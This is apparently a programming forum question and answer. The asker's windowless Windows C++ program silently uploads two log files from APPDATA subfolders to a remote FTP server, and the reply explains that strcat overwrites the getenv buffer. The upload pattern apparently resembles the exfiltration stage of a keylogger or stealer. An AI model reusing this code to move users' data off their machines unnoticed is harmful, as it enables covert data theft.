I've been trying to fix this code for the last few days but it just wont work..
char* appdata = getenv("APPDATA");
char* firstloglocation = strcat(appdata, "\\path\log1.txt");
This is working but i need this:
char* appdata = getenv("APPDATA");
char* firstloglocation = strcat(appdata, "\\path\log1.txt");
char* secondloglocation = strcat(appdata, "\\path\log2.txt");
Once i add the second line of code the it does nothing anymore
Both of those logs have to be uploaded to my FTP-server, the rest of the code is working fine
Here is the original code:
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <wininet.h>
#include <ctime>
#include <iostream>
#pragma comment(lib, "wininet")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
srand((unsigned)time(NULL));
int seedone=rand();
int seedtwo=rand()*3;
int seedboth = seedone + seedtwo;
char randomnumber[99];
itoa(seedboth, randomnumber, 10);
char* appdata = getenv("APPDATA");
char* log1 = strcat(appdata, "\\DVcA\\log.txt"); // Location of the first log
char* log2 = strcat(appdata, "\\DVcB\\log.txt"); // Location of the second log
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hFtpSession = InternetConnect(hInternet, "SERVER", INTERNET_DEFAULT_FTP_PORT, "USERNAME", "PASSWORD", INTERNET_SERVICE_FTP, 0, 0); // Server details
FtpCreateDirectory(hFtpSession, "DVcA"); // Create directory
FtpSetCurrentDirectory(hFtpSession, "DVcA"); // Go to folder
FtpPutFile(hFtpSession, log1, randomnumber, FTP_TRANSFER_TYPE_BINARY, 0);
FtpSetCurrentDirectory(hFtpSession, ".."); // Go back to root folder
FtpCreateDirectory(hFtpSession, "DVcB"); // Create directory
FtpSetCurrentDirectory(hFtpSession, "DVcB"); // Go to folder
FtpPutFile(hFtpSession, log2, randomnumber, FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
return 0;
}
strcat
modifies its first argument, then returns it. Thereforeappdata
when you callstrcat
a second time will not be the original string. For example:The other issue is that because the second argument is copied into the first argument,
appdata
must be a buffer big enough to hold the string.Solution:
Since you have three strings, you need three buffers. You can use
strcpy
to avoid modifying appdata. Then you can modify your strings accordingly withstrcat
.